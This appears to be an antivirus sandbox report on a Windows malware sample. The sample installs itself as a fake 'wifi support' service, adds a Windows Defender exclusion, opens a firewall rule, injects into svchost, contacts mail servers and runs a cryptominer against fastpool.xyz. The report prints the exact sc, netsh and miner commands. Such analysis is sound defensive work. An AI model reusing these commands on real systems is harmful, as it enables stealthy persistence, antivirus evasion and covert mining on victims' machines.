Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\dnnbutoa] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dnnbutoa] 'ImagePath' = '%WINDIR%\SysWOW64\dnnbutoa\keagrbtz.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\dnnbutoa] 'ImagePath' = '%WINDIR%\SysWOW64\dnnbutoa\keagrbtz.exe'
Creates the following services
- 'dnnbutoa' %WINDIR%\SysWOW64\dnnbutoa\keagrbtz.exe /d"<Full path to file>"
- 'dnnbutoa' %WINDIR%\SysWOW64\dnnbutoa\keagrbtz.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\dnnbutoa' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\keagrbtz.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\keagrbtz.exe to %WINDIR%\syswow64\dnnbutoa\keagrbtz.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'yandex.ru':443
- 'mx#.#harter.net':25
- 'au##.###.np.ac.playstation.net':443
- 'google.com':443
- 'ya##ex.com':443
- 'in###gram.com':443
- 'google.com':80
- '5.##.37.41':426
- '21#.#27.140.23':426
- '95.##6.195.92':426
- 'm.###tube.com':443
- '19#.#6.146.41':426
- '19#.#6.146.42':426
- 'cx#.##.#.cloudfilter.net':25
- 'mx##.###us-vadesecure.net':25
- 'mx.####.##t.cust.a.hostedemail.com':25
- 'ff######x-vip2.prodigy.net':25
- 'na#.###.#rotection.outlook.com':25
- 'fa###ool.xyz':10060
- 'mx##.mail.com':25
- 'de###twax.ru':482
- 'de###twax.ru':443
- '19#.#6.146.43':426
- 'av######es.api-extra.com.br':443
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'de###twax.ru':443
- 'trends.google.com':443
- 'au##.###.np.ac.playstation.net':443
- 'google.com':443
- 'ya##ex.com':443
- 'in###gram.com':443
- '95.##6.195.92':426
- '19#.#6.146.41':426
- 'av######es.api-extra.com.br':443
- '5.##.37.41':426
- '19#.#6.146.42':426
- '21#.#27.140.23':426
- 'mx##.###us-vadesecure.net':25
- 'ff######x-vip2.prodigy.net':25
- 'na#.###.#rotection.outlook.com':25
- 'fa###ool.xyz':10060
- 'de###twax.ru':482
- '19#.#6.146.43':426
- 'consent.google.com':443
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK m.###tube.com
- DNS ASK yandex.ru
- DNS ASK trends.google.com
- DNS ASK mx#.#harter.net
- DNS ASK ch##ter.net
- DNS ASK au##.###.np.ac.playstation.net
- DNS ASK ya##ex.com
- DNS ASK in###gram.com
- DNS ASK google.com
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK co#.net
- DNS ASK mx##.###us-vadesecure.net
- DNS ASK ki#.net
- DNS ASK mx.####.##t.cust.a.hostedemail.com
- DNS ASK wy##.net
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ff######x-vip2.prodigy.net
- DNS ASK am###tech.net
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK fa###ool.xyz
- DNS ASK wi###wslive.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK mx##.mail.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK ma##.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK de###twax.ru
- DNS ASK av######es.api-extra.com.br
- DNS ASK consent.google.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\dnnbutoa\keagrbtz.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\dnnbutoa\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\keagrbtz.exe" %WINDIR%\SysWOW64\dnnbutoa\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create dnnbutoa binPath= "%WINDIR%\SysWOW64\dnnbutoa\keagrbtz.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description dnnbutoa "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start dnnbutoa' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\dnnbutoa\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\keagrbtz.exe" %WINDIR%\SysWOW64\dnnbutoa\
- '%WINDIR%\syswow64\sc.exe' create dnnbutoa binPath= "%WINDIR%\SysWOW64\dnnbutoa\keagrbtz.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description dnnbutoa "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start dnnbutoa
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
